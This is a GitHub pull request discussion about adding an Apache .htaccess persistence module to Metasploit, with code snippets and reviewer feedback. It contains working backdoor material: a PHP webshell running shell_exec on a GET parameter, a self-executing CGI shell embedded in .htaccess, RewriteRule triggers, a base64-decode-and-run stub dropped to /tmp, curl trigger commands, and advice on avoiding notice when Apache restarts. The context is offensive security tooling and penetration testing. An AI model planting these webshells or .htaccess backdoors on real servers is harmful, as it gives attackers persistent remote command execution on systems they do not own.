Add Apache .htaccess Persistence Module#21473
Conversation
| htaccess_payload = "\nRewriteEngine On\n" | ||
| htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n" | ||
| htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n" | ||
| append_file(htaccess_path, htaccess_payload) |
There was a problem hiding this comment.
Back the file up to loot before editing so we can restore it later
|
|
||
| class MetasploitModule < Msf::Post | ||
| include Msf::Post::File | ||
| include Msf::Post::Unix |
There was a problem hiding this comment.
I would convert this into a persistence module, see https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/persistence/vim_plugin.rb or https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/example_linux_persistence.rb as an example
| Verified on Metasploitable2 (Ubuntu). | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => ['4ravind-b'], |
| ], | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [], |
| register_options([ | ||
| OptString.new('HTACCESS_PATH', [true, 'Full path to .htaccess file', '/var/www/.htaccess']), | ||
| OptString.new('SHELL_PATH', [true, 'Full path to drop shell file', '/var/www/shell.php']), | ||
| OptString.new('TRIGGER_URL', [true, 'URL path to trigger shell', '/shell.php']) |
There was a problem hiding this comment.
The examples from wireghoul show putting the payload in the .htaccess file: https://github.com/wireghoul/htshells/blob/master/shell/mod_cgi.shell.bash.htaccess
I'd start with mod_cgi, its easiest although not common. In theory what we'd want in the future is something to detect if any mod_* are enabled (like mod_python, mod_perl and there rest of the mod items from wireghoul's repo) and then write the payload in a compliant way. So When coding in to check for things, make sure you do it in a loop or other expandable way.
There was a problem hiding this comment.
If you use AI to help with this, and it doesn't get mad at you, give it wireghoul's repo in /shell/ and let it add all the different ones
|
|
||
| # Step 3 - Enable mod_rewrite | ||
| print_status('Enabling mod_rewrite...') | ||
| cmd_exec('a2enmod rewrite && /etc/init.d/apache2 restart') |
There was a problem hiding this comment.
restarting apache will likely be noticed by many places. I'd make the restart a boolean option, default to to true (although i'm 50/50 on that, but web servers dont restart often)
|
|
||
| # Step 4 - Write .htaccess trigger | ||
| print_status("Writing trigger to #{htaccess_path}") | ||
| htaccess_payload = "\nRewriteEngine On\n" |
There was a problem hiding this comment.
only add if its not already there
| htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n" | ||
| htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n" | ||
| append_file(htaccess_path, htaccess_payload) | ||
| cmd_exec("chmod 644 #{htaccess_path}") |
There was a problem hiding this comment.
i think post has a chmod function already, use that
| print_status("Dropping shell at #{shell_path}") | ||
| php_payload = '<?php if(isset($_GET[\'cmd\'])){ echo shell_exec($_GET[\'cmd\']); } ?>' |
There was a problem hiding this comment.
this can go away, embed the payload in .htaccess
| # Step 6 - Done | ||
| print_good('Persistence deployed!') | ||
| print_status("Trigger with: curl 'http://TARGET/?trigger=shell'") | ||
| print_status("Run commands: curl 'http://TARGET#{trigger_url}?cmd=whoami'") |
|
Thanks for the detailed review @h00die and suggestions! I’ll work through the requested changes and update the PR |
|
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
|
@h00die I've addressed the following review comments:
Currently implemented:
Planned for follow-up:
Still working on:
|
|
@msutovsky-r7 and @h00die Documentation has been added at:
|
|
@4ravind-b thanks for the changes, but it still doesn't seem like your module reflects the structure, function or location of persistence module. Take a look at structure of this - the persistence module should provide a "persistence" mechanism, meaning you'll receive a new shell from your persistence mechanism and then when you close that connection, restart the handler, re-trigger the persistence mechanism, you'll get a shell. Please make necessary changes. Furthermore, your module is in wrong folder - it still exists as |
|
@msutovsky-r7 Thanks for the clarification! I'll:
Will update the PR shortly. |
|
@msutovsky-r7 I've moved the module to The module successfully deploys the
The original wireghoul Would you recommend using a different payload type here, or should the module switch to another execution approach for obtaining a shell? Current generated #!/bin/sh
winning \
echo -en "Content-Type: text/plain\r\n\r\n" |
|
@msutovsky-r7 @h00die I've been working on the payload execution issue but still running into the same problem — CMD payloads generate semicolons which break in the CGI context. While waiting for guidance on the payload approach, would it be okay if I start working on another module in parallel? Happy to come back to this as soon as you advise on the payload direction. |
|
Hi @h00die , @msutovsky-r7 , and @zeroSteiner — just a heads up: I’ll be unavailable starting this Saturday for about a week. I’ll continue working on PR #21473 as soon as I’m back. Thanks for your patience! |
|
general ideas to get around character issues:
|
|
@h00die Thanks for the suggestions! I'll implement the base64 approach — encode the payload and have .htaccess decode and execute it. Will update the PR when I'm back next week. |
|
@h00die I've tested on both Apache 2.2.8 (Metasploitable2) and Apache 2.4.67 (local). Unfortunately, both suggestions still fail in the CGI context.
Tested structure: #!/bin/sh
# winning \
echo -en "Content-Type: text/plain\r\n\r\n"
echo hello
Options +ExecCGI
AddHandler cgi-script .htaccessError log on both versions: Could you share the exact working example or Apache configuration needed for this trick to work? |
|
best i can do is point you to the source repo. try their work and modify from there. While I tried this a little, it was YEARS ago |
|
@h00die still wrapping my head around exactly how Apache handles the CGI execution order here — the more I dig into it the more interesting (and confusing) it gets! Will go through the wireghoul examples and come up with something concrete. Also is the wireghoul repo the only reference for this? Asking because I'm currently preparing for CEH and planning toward OSCP, so any resources you'd recommend would really help! |
|
good progress! that should help you now work out how to get an arbitrary payload working no need to include screenshots, usually just your msf console is good |
|
@h00die Thanks! I'll work on integrating arbitrary payload support. |
There was a problem hiding this comment.
I think this is leftover file
| mod_check = cmd_exec('apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null') | ||
| unless mod_check.include?('cgi') | ||
| print_status('Enabling mod_cgi...') | ||
| cmd_exec('a2enmod cgi') |
There was a problem hiding this comment.
Use create_process as cmd_exec should be depreciated
| def exploit | ||
| install_persistence | ||
| end |
There was a problem hiding this comment.
The install_persistence is called automatically when the module is persistence module
| htaccess_payload += "# Self contained .htaccess web shell - Part of the htshell project\n" | ||
| htaccess_payload += "# Written by Wireghoul - http://www.justanotherhacker.com\n" | ||
| htaccess_payload += "# This is considered a line spanning comment in apache and not by shell #winning \\\n" |
There was a problem hiding this comment.
This doesn't have to be here
| htaccess_payload += "AddHandler cgi-script .htaccess\n" | ||
|
|
||
| print_status("Writing payload to #{htaccess_path}") | ||
| write_file(htaccess_path, htaccess_payload) |
There was a problem hiding this comment.
| write_file(htaccess_path, htaccess_payload) | |
| Fail_with(Failure::PayloadFailed, "Cannot write to #{htaccess_path}") unless write_file(htaccess_path, htaccess_payload) |
| if datastore['RESTART_APACHE'] | ||
| print_status('Restarting Apache...') | ||
| create_process('/etc/init.d/apache2 restart') | ||
| print_good('Apache restarted!') | ||
| end |
There was a problem hiding this comment.
Don't you need root here?
| print_good('Persistence deployed!') | ||
|
|
||
| # Encode the payload for URL and show trigger command | ||
| print_status("Trigger: curl 'http://TARGET/.htaccess'") |
There was a problem hiding this comment.
Preferably, this print would print out actual address where a user can trigger persistence, furthermore, it might be nice to get the first "persistence" session automatically by just sending the request to that address.
| htaccess_payload += "# Written by Wireghoul - http://www.justanotherhacker.com\n" | ||
| htaccess_payload += "# This is considered a line spanning comment in apache and not by shell #winning \\\n" | ||
| htaccess_payload += "echo -en \"Content-Type: text/plain\\r\\n\\r\\n\";cmd=$(echo $QUERY_STRING | sed -e's/+/ /g' -e's/%20/ /g');echo \"\\$ $cmd\";$cmd 2>&1;exit\n" | ||
| htaccess_payload += "# The exit ensures we never reach the following lines\n" |
There was a problem hiding this comment.
| htaccess_payload += "# The exit ensures we never reach the following lines\n" |
|
@msutovsky-r7 just pushed fixes for the review comments — removed the extra comment lines from the payload, wrapped write_file with fail_with, added a root check before the Apache restart, and the trigger URL now prints the actual target host. Tested on Metasploitable2 and it's working fine. Still working on auto-triggering a session after deployment |
|
Updated with reverse shell support. I initially tried embedding Ended up switching to a Verified on Metasploitable2: sessions -i 2
sh-3.2$ whoami
www-data |
|
Implemented h00die's suggestion of using a stub to write Approach:
Used base64+echo instead of mkfifo+nc because the special characters ( Verified on Metasploitable2: |
msutovsky-r7
left a comment
There was a problem hiding this comment.
Have you tested this module against real target? Testing it against Ubuntu 22.04 x64 (5.15.0) results in this:
msf exploit(linux/persistence/apache_htaccess) > [*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /EO6WzfXF6CGyqdBiy1rT5w
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Apache is running and .htaccess is writable
[*] Backing up /var/www/html/.htaccess to loot...
[+] Backup saved to: /home/ms/.msf4/loot/20260702103849_default_10.5.134.171_htaccess.backup_561502.txt
[*] Checking Apache modules...
[*] Enabling mod_cgi...
[!] Skipping Apache restart — root privileges required
[*] Writing payload to /var/www/html/.htaccess
[+] Payload written!
[+] Persistence deployed!
[*] Generating and staging payload...
[-] Exploit failed: Msf::NoCompatiblePayloadError Failed to generate an executable payload due to an invalid platform or arch.
Also would you mind elaborating on this part?
print_status('Generating and staging payload...')
elf_data = generate_payload_exe
encoded = Rex::Text.encode_base64(elf_data).gsub("\n", '')
# Send stub via webshell: decode payload, execute it
stub = "echo+#{encoded}|base64+-d>/tmp/.p;chmod+755+/tmp/.p;/tmp/.p&"
print_status("Triggering payload via http://#{target_host}/.htaccess ...")
I'm not sure at all what is your goal here and you're already using ARCH_CMD as payload, so you're free to use cmd/linux/http/x64/... payloads at your will.
|
@msutovsky-r7 Yeah, I only tested on Metasploitable2, so I completely missed the Ubuntu 22.04 case. I originally started with just ARCH_CMD for the webshell. Then I decided to auto-trigger a Meterpreter session and completely forgot that ARCH_CMD doesn't support executable payloads. I ended up adding the ELF generation code without really thinking it through, which is why it broke. I've removed all of that now and will go back to keeping the module focused on the webshell deployment. I'll push the fix shortly. |
The issue mentioned above is not bound to Metasploitable2, because it does exactly same thing in Metasploitable2. I would suggest testing your changes before committing and pushing. |
|
I tested the simplified webshell version on Metasploitable2 after removing the ELF generation logic. It deploys successfully, and command execution works via HTTP: Verified with: The current implementation is focused on CGI-based command execution and no longer includes the ELF auto-trigger logic. Additional note on Ubuntu 22.04 testing: While validating on Ubuntu 22.04, I encountered a few issues:
Fix: existing = read_file(htaccess_path) rescue ""
if existing.include?('AddHandler cgi-script .htaccess')This handles the case where the |
Release NotesAdds a new persistence module, |
|
Thank you @msutovsky-r7 and @h00die for your support. |
This module adds Apache
.htaccesspersistence on a Linux target. It writes a maliciousRewriteRuleinto an existing.htaccessfile and drops a PHP webshell. Once deployed, an attacker can execute arbitrary commands via HTTP GET requests, even after the target reboots.Fixes #17728
Verification
Start
msfconsole.Obtain a session on the target (Metasploitable2 used for testing):
Load and run the module:
Verify persistence deployment:
Verify command execution:
curl "http://TARGET/shell.php?cmd=whoami"Expected output:
Verify persistence survives reboot:
curl "http://TARGET/shell.php?cmd=id"Expected output:
Verify the module does not run without a valid
SESSION.Screenshots